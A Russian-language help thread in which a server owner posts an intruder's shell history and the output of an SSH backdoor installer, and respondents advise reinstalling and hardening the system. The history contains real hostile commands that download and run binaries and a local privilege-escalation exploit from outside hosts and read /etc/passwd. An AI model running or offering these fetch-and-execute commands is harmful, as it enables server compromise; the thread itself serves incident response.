Нашел SSH Backdoor на VServer. Что делать?

Вчера я проверил свою историю команд на моем VServer. Я нашел несколько подозрительных строк.

  195  wget aridan.hol.es/sniffer.tgz
  196  tar xvf sniffer.tgz
  197  ls -a
  198  rm -rf sniffer.tgz
  199  rm -rf .sniff/
  200  cd /dev/shm
  201  ls -a
  202  mkdir " . "
  203  ls -a
  204  cd " . "/
  205  wget aridan.hol.es/sniffer.tgz
  206  tar xvf ar
  207  tar zxvf ar
  208  tar xvf sniffer.tgz
  209  cd .sniff/
  210  ls -a
  211  ./setup
  212  ls -a
  213  cd /var/tmp
  214  ls a-
  215  ls -a
  216  cd sy
  217  cd systemd-private-a5e12501dbc746eabcda29463d441b9e-openvpn\@server.servi                                                                             ce-HJ201p/
  218  ls -a
  219  pw
  220  pwd
  221  ls -a
  222  cd tmp/
  223  ls -a
  224  cd / .
  225  cd /dev/shm
  226  ls -a
  227  cd " . "/
  228  ls -a
  229  cd sniffer.tgz
  230  cd ..
  231  ls -a
  232  cd " . "/
  233  rm -rf sniffer.tgz
  234  cd .sniff/
  235  ls -a
  236  cd /var/tmp
  237  nproc
  238  w
  239  wget draqusor.hi2.ro/x; chmod +x *; ./x
  240  wget http://t1fix.com/local/ubuntu-2015.c; gcc ubuntu-2015.c -o ubuntu-20                                                                             15; chmod +x *; ./ubuntu-2015;
  241  id
  242  cd
  243  last
  244  cat /etc/passwd
  245  cd /dev/s
  246  cd /dev/shm/
  247  ls -a
  248  cd " . "/
  249  ls -a
  250  cd .sniff/
  251  ls -a
  252  nano se
  253  nano setup
  254  nano error_log
  255  nano error_log.2
  256  cat error_log.2
  257  ls -a
  258  nproc
  259  cd /var/tmp
  260  ls aรถ-
  261  ls -a
  262  rm -rf u*
  263  rm -rf x
  264  mkdir cache
  265  cd cache
  266  wget datafresh.org/md.tgz
  267  tat xvf md.tgz
  268  tar xvf md.tgz
  269  cd m
  270  cd d
  271  cd md
  272  ./a 5.196
  273  cat /proc/cpuinfo
  274  ./a 5.196
  275  ps -x
  276  cd /

Особенно меня шокировал sniffer.tgz. Я настроил виртуальную машину и скачал этот архив tgz. Я начал настройку, и он дал мне следующие строки:

-----------------------------------------------------------------------------------
     #OLDTEAM SSHD BACKDOOR v1.2 - OpenSSH 3.6p1
                                  PRIVATE VERSION
-----------------------------------------------------------------------------------


 CHECKING THIS SYSTEM

# GCC:                   [ FOUND ]
# G++:                   [ FOUND ]
# MAKE:                  [ FOUND ]
# OPENSSL DEVEL:         [ NOT FOUND ]

NOW TRYING TO INSTALL OPENSSL DEVEL

Кто-нибудь знает как это убрать?

Это то, что вы должны делать на всех системах, на которых у вас было это sniffer.tgz: немедленно сбросить ядро ​​с орбиты и начать заново с чистой установки. (То есть уничтожить систему (-ы), переустановить чистую, загрузить данные из чистых резервных копий - при условии, что у вас есть чистые резервные копии, а затем укрепить систему (-ы) перед их возвратом в Интернет).

Всякий раз, когда в вашу систему попадают вредоносные программы или хакеры, самое время повторно проанализировать, как настроена ваша система, и не повторять те же действия, с которыми они вошли. Но, поскольку это может быть не система, которую вы можете отложить в сторону и провести судебный анализ, а поскольку это может быть ваш единственный сервер, пришло время просто уничтожить виртуальную систему и начать все заново (как я уже говорил выше).

(И это относится к любой такой ситуации, когда вы получаете вредоносное ПО в системе. Если у вас нет запасного оборудования для замены чего-либо подобного, чтобы вы могли изолировать и провести судебную экспертизу взломанной системы, которой обычно нет у большинства пользователей, у вас нет выбора, кроме взорвать систему и начать все сначала.)

Без анализа вашего сервера я не могу точно сказать, что вы сделали неправильно, но, скорее всего, этот бэкдор глубже в системе, чем простая установленная «программа». И, поскольку злоумышленники уже установили бэкдор в вашей системе, вы можете предположить, что все ваши пароли теперь взломаны и более не безопасны (будь то SSH, root для MySQL или любой другой тип пароля, который когда-либо имел был введен в эту компьютерную систему). Время менять все ваши пароли!

Как только вы вернетесь в чистую среду, вот несколько основных советов по усилению шагов, которые следует учитывать. Обратите внимание, что, поскольку они значительно расширяют тему, я не могу вдаваться в подробности, но пришло время предпринять некоторые меры по усилению защиты вашей системы:

1. Включите брандмауэр и разрешите доступ только к тем портам, которые необходимо открыть . ufwсуществует, чтобы быть простым, поэтому давайте использовать это. sudo ufw enable, ( ufwПравильная настройка для вашей среды - это отдельная история, и это выходит за рамки этого вопроса.)

2. Ограничить доступ к удаленному SSH . Это не всегда выполнимо, но в идеале вы должны определить принадлежащие вам IP-адреса и специально занести их в белый список в брандмауэре. (Если вы используете динамический IP-адрес, пропустите этот шаг).

3. Заблокируйте доступ SSH к вашему серверу и требуйте использования ключей SSH только для аутентификации . Таким образом, хакеры не могут атаковать ваш сервер и пытаться угадать пароли. Гораздо сложнее угадать правильный закрытый ключ (потому что вам придется взломать их все), и это помогает защитить от атак взлома.

4. Если вы работаете на веб-сайте, убедитесь, что заблокировали разрешения, чтобы люди не могли загружать / выполнять вещи на досуге . Это варьируется от сайта к сайту, поэтому я не могу дать вам больше рекомендаций (это невозможно сделать).

5. Кроме того, если вы используете веб-сайт с использованием Joomla или Wordpress или чего-то подобного, убедитесь, что вы поддерживаете среду в актуальном состоянии и исправлены с помощью уязвимостей безопасности от поставщиков программного обеспечения .

6. Там, где это возможно, настройте, настройте и используйте методы двухфакторной аутентификации (2FA) для вещей, которые вы аутентифицируете . Существует множество решений для двухфакторной аутентификации для различных приложений, и обеспечение безопасности различных приложений таким образом выходит за рамки этого поста, поэтому вам следует изучить этот вопрос, прежде чем выбрать решение.

7. Если вам абсолютно необходимо использовать пароли в вашей настройке, используйте приличный менеджер паролей (облачные не обязательно являются хорошим выбором) и используйте длинные (25+ символов) случайные, не запоминающиеся пароли, которые отличаются для каждого отдельного элемента, который является Защищено паролями (отсюда и рекомендация для менеджера паролей). (Тем не менее, вам настоятельно рекомендуется НЕ использовать пароли там, где это возможно (например, для аутентификации SSH), и использовать 2FA, где это возможно).

Если есть один черный ход, есть еще 3. Изолируйте, создавайте резервные копии данных, уничтожайте их и аккуратно восстанавливайте данные. Будьте осторожны с любыми данными cron, php или даже mysql, все они могут быть скомпрометированы. Помните, что в этот момент у них есть все ваши пароли и хэши, поэтому, если вы настроили другие машины аналогичным образом, они, вероятно, взломали их тоже ... Сложная часть - выяснить, как они попали с самого начала. Если у вас WordPress ищет вредоносные программы в плагинах / темах и т.д. ... Проверьте ваши разрешения, у вас может быть 777 везде. Нет простого ответа, вы смотрите на много работы.